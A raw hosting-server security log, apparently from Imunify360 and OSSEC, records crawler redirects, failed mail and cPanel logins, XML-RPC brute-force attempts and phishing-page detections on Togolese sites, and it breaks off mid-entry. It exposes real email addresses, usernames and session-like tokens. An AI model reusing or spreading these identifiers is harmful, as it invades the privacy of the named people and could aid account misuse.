47.128.96.208 - - [09/Jun/2026:17:10:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212003&pdata=https%253A%252F%252Ftdn.tg%252Fmadame-monsieur-saison-3-serie%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781025016 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/madame-monsieur-saison-3-serie/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.208


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.4
country_id: 3017382
description:
[2026-06-09 17:11:15 +0000] info [cpaneld] 5.231.64.4 NEW frtwilql:mUoUfD1SZjJvEziu address=5.231.64.4,app=cpaneld,creator=frtwilql,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.186
country_id: 1880251
description:
47.128.96.186 - - [09/Jun/2026:17:11:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9924037&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fbill-gates-et-sa-femme-melinda-annoncent-leur-divorce%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781025096 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/bill-gates-et-sa-femme-melinda-annoncent-leur-divorce/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.186


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 102.180.40.197
country_id: 2361809
description:
2026-06-09 17:12:24 H=([102.180.40.197]) [102.180.40.197]:13486 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.164
country_id: 1880251
description:
47.128.96.164 - - [09/Jun/2026:17:12:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6974362&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fimportation-de-viandes-de-volailles-surgelees-interdite%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781025154 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/importation-de-viandes-de-volailles-surgelees-interdite/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.164


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.253.27.219
country_id: 1880251
description:
[2026-06-09 17:12:29 +0000] info [cpaneld] 103.253.27.219 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.145
country_id: 1880251
description:
47.128.96.145 - - [09/Jun/2026:17:13:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7364716&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fincendie-camion-dangote%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781025205 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/incendie-camion-dangote/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.145


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Experience Blazing Quick Payouts eropolik.blogspot.se Am||Email:deegeehung@gmail.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:17-13.146.19.125.71||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.130
country_id: 1880251
description:
47.128.96.130 - - [09/Jun/2026:17:14:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10053996&pdata=https%253A%252F%252Fcfpj.tg%252Ftag%252Fblog%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781025272 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/tag/blog/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.130


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.148.240.97
country_id: 3469034
description:
Jun  9 17:15:02 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.148.240.97 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.148.240.97
country_id: 3469034
description:
Jun  9 17:15:16 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.148.240.97 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.130.225
country_id: 3469034
description:
Jun  9 17:15:58 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.130.225 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.82.88.93
country_id: 2029969
description:
Jun  9 17:15:16 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.82.88.93 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.202
country_id: 1880251
description:
47.128.96.202 - - [09/Jun/2026:17:17:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10143339&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fweek-end-prolonge-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781025424 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/week-end-prolonge-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.202


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.130.225
country_id: 3469034
description:
Jun  9 17:16:13 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.130.225 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.129
country_id: 1880251
description:
47.128.96.129 - - [09/Jun/2026:17:18:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10052206&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fvehicules-blindes-de-roch-kabore-cribles-de-balles%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781025514 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/vehicules-blindes-de-roch-kabore-cribles-de-balles/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.129


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 87.241.157.33
country_id: 174982
description:
2026-06-09 17:18:41 H=([87.241.157.33]) [87.241.157.33]:3224 F=<John@4452.com> rejected RCPT <emploi@emt.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.220.10.60
country_id: 1269750
description:
Jun  9 17:18:48 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.220.10.60 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.32.249.139
country_id: 2750405
description:
2026-06-09 17:18:50 dovecot_plain authenticator failed for H=(qgyk5y1vmua05hme59r7tl3lz) [193.32.249.139]:58638: 535 Incorrect authentication data (set_id=info@soena.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 77.243.24.219
country_id: 6290252
domain: hotel-yabisso.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:84036.hotel-yabisso.com||ServerName:hotel-yabisso.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0faa769054834d81db741b744fbcca589dbbe126||Title:0x4bd73f38||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.163
country_id: 1880251
description:
47.128.96.163 - - [09/Jun/2026:17:18:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7366090&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ffelix-kadanga%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781025520 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/felix-kadanga/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.163


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.167.23.46
country_id: 933860
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/actualite/detail/retraite-des-directeurs-generaux-des-compagnies-dassurances-membres-du-cat HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 87.241.157.33
country_id: 174982
description:
2026-06-09 17:19:40 H=([87.241.157.33]) [87.241.157.33]:6044 F=<John@4452.com> rejected RCPT <emploi@emt.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.136
country_id: 1880251
description:
47.128.96.136 - - [09/Jun/2026:17:19:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9988507&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fpato-kpatcha%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781025578 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/pato-kpatcha/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.136


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-09 17:19:54 +0000] info [webmaild] 160.242.195.10 - bdoutimama@caissederetraites.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.148
country_id: 1880251
description:
47.128.96.148 - - [09/Jun/2026:17:21:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6734694&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdede-rose-creppy-morte%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781025708 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/dede-rose-creppy-morte/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.148


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.143
country_id: 3017382
description:
[2026-06-09 17:23:05 +0000] info [cpaneld] 5.231.64.143 NEW wwayrzpl:zJZLPeU64JxC53oy address=5.231.64.143,app=cpaneld,creator=wwayrzpl,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.195
country_id: 1880251
description:
47.128.96.195 - - [09/Jun/2026:17:22:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6843291&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fkodjo-fo-doh-laba%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781025741 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/kodjo-fo-doh-laba/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.195


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.155
country_id: 1880251
description:
47.128.96.155 - - [09/Jun/2026:17:24:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9671828&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcabinet-aka-financial-consulting%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781025844 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cabinet-aka-financial-consulting/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.155


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.141
country_id: 1880251
description:
47.128.96.141 - - [09/Jun/2026:17:23:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13068900&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252F6-soldats-tuees%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781025814 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/6-soldats-tuees/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.141


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.204
country_id: 1880251
description:
47.128.96.204 - - [09/Jun/2026:17:24:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803884&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdevego-novissi%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781025850 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/devego-novissi/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.204


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.83.142.110
country_id: 732800
description:
Jun  9 17:25:38 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.83.142.110 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.18
country_id: 1880251
description:
47.128.96.18 - - [09/Jun/2026:17:26:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6842271&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fsociete-specialisee-dans-le-financement-du-secteur-agricole%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781025987 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/societe-specialisee-dans-le-financement-du-secteur-agricole/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.18


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.187
country_id: 1880251
description:
47.128.96.187 - - [09/Jun/2026:17:26:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9857690&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fexamens-du-baccalaureat-deuxieme-partie%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781026013 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/examens-du-baccalaureat-deuxieme-partie/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.187


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.156.180.137
country_id: 660013
description:
2026-06-09 17:27:37 dovecot_plain authenticator failed for H=(y6prq6b4116pn4xuo6qjyl91d8sm) [94.156.180.137]:44444: 535 Incorrect authentication data (set_id=contact@emt.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.140
country_id: 1880251
description:
47.128.96.140 - - [09/Jun/2026:17:27:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6657122&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdemission-dun-maire-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781026058 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/demission-dun-maire-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.140


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.199
country_id: 1880251
description:
47.128.96.199 - - [09/Jun/2026:17:27:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7039174&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fvehicules-blindes-de-roch-kabore-cribles-de-balles%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781026070 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/vehicules-blindes-de-roch-kabore-cribles-de-balles/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.199


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.187
country_id: 1880251
description:
47.128.96.187 - - [09/Jun/2026:17:28:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6525588&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fimportation-de-viandes-de-volailles-surgelees-interdite%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781026089 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/importation-de-viandes-de-volailles-surgelees-interdite/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.187


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.14
country_id: 1880251
description:
47.128.96.14 - - [09/Jun/2026:17:28:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7303278&pdata=https%253A%252F%252Ftdn.tg%252Fmadame-monsieur-saison-3-serie%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781026108 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/madame-monsieur-saison-3-serie/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.14


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.71
country_id: 6252001
description:
[2026-06-09 17:29:47 +0000] info [cpaneld] 64.44.59.71 NEW mgvybwur:Mtd0cvkTYNBIq2uc address=64.44.59.71,app=cpaneld,creator=mgvybwur,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 107.174.169.229
country_id: 6252001
domain: fundacionesperanzatogo.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/mgvybwur/public_html/.922432139902822.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.56
country_id: 2635167
description:
[2026-06-09 17:29:43 +0000] info [cpaneld] 5.230.133.56 NEW mgvybwur:zr88c0FjcfMvqeD1 address=5.230.133.56,app=cpaneld,creator=mgvybwur,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.135
country_id: 1880251
description:
47.128.96.135 - - [09/Jun/2026:17:30:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6514323&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdebut-des-inscriptions-a-luniversite-de-lome%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781026243 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/debut-des-inscriptions-a-luniversite-de-lome/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.135


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.82.88.93
country_id: 2029969
description:
Jun  9 17:30:23 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.82.88.93 has been locked due to Imunify RBL


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 185.61.217.106
country_id: 2017370
domain: monde-ai.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:Ajatovivi1994.monde-ai.tg||Method:wp.getUsersBlogs


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.167
country_id: 1880251
description:
47.128.96.167 - - [09/Jun/2026:17:31:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9856355&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fpresident-de-la-commission-de-lutte-contre-la-corruption-au-nigeria%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781026288 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/president-de-la-commission-de-lutte-contre-la-corruption-au-nigeria/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.167


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.152
country_id: 2635167
description:
[2026-06-09 17:32:38 +0000] info [cpaneld] 5.230.133.152 NEW hgfdcvbnk:rvRXGYjr0O9nahWo address=5.230.133.152,app=cpaneld,creator=hgfdcvbnk,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.68
country_id: 3017382
description:
[2026-06-09 17:32:53 +0000] info [cpaneld] 5.231.255.68 NEW nerohostfreenetm:vmKuN9g62fpogEyk address=5.231.255.68,app=cpaneld,creator=nerohostfreenetm,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 104.232.222.55
country_id: 2802361
domain: www.fundacionesperanzatogo.tg
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 13; 22111317PG Build/TKQ1.221114.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/118.0.0.0 Mobile Safari/537.36 musical_ly_2023108040 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/musical_ly app_version/31.8.4 ByteLocale/pt ByteFullLocale/pt Region/BR AppId/1233 Spark/1.4.3-alpha.5 AppVersion/31.8.4 BytedanceWebview/d8a21c6||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.187
country_id: 1880251
description:
47.128.96.187 - - [09/Jun/2026:17:32:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9868394&pdata=https%253A%252F%252Fcfpj.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781026336 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.187


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 64.44.62.229
country_id: 6252001
domain: nerohost.free.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/nerohostfreenetm/public_html/.037323048496293.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.124
country_id: 1880251
description:
47.128.96.124 - - [09/Jun/2026:17:32:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6973853&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcafe-yoka-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781026377 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cafe-yoka-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.124


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.171.6.236
country_id: 2363686
description:
[2026-06-09 17:32:28 +0000] info [cpaneld] 196.171.6.236 NEW qgqjistz:ucqXclym4U48BRHP address=196.171.6.236,app=cpaneld,creator=qgqjistz,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 102.211.168.154
country_id: 2363686
domain: camilliens.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:data[slides]||MV:{\"slide\":{\"addOns\":{},\"id\":1,\"version\":\"7.0.0\",\"title\":\"\",\"parentId\":null,\"language\":\"default\",\"order\":1,\"thumb\":{\"src\":\"\",\"srcId\":\"\",\"admin\":\"\",\"adminId\":\"\",\"dimension\":\"slider\",\"default\":{\"image\":{\"src\":\"https://camilliens.tg/wp-content/uploads/2026/06/3.webp\",\"repeat\":\"\",\"size\":\"cover\",\"pos\":{\"x\":\"50%\",\"y\":\"50%\"}}}},\"acc\":{\"label\":\"unset\",\"hidden\":\"true\",\"live\":\"auto\",\"role\":\"presentation\",\"roledep\":\"slide\"},\"description\":\"\",\"attr\":{\"class\":\"\",\"data\":\"\",\"id\":\"\",\"a\":\"\",\"aO\":\"ml\",\"t\":\"\",\"tO\":\"\",\"deepLink\":\"\",\"attr\":\"\"},\"publish\":{\"from\":\"\",\"to\":\"\",\"state\":\"published\",\"sch\":true},\"slideshow\":{\"stop\":false,\"len\":\"default\",\"hal\":0,\"hom\":false,\"hfn\":false},\"loop\":{\"u\":false,\"r\":-1,\"s\":0,\"e\":99999}},\"layers\":{\"0\":{\"fluid\":{\"tx\":true,\"tr\":true,\"sp\":true},\"id\":0,\"alias\":\"Text-0\",\"content\":{\"text\":\"Au service des malades \"},\"runtime\":{\"locked\":false,\"hidden\":false},\"size\":{\"w\":[\"#a\",\"auto\",\"auto\",\"auto\",\"auto\


plugin: ossec
rule: 11000
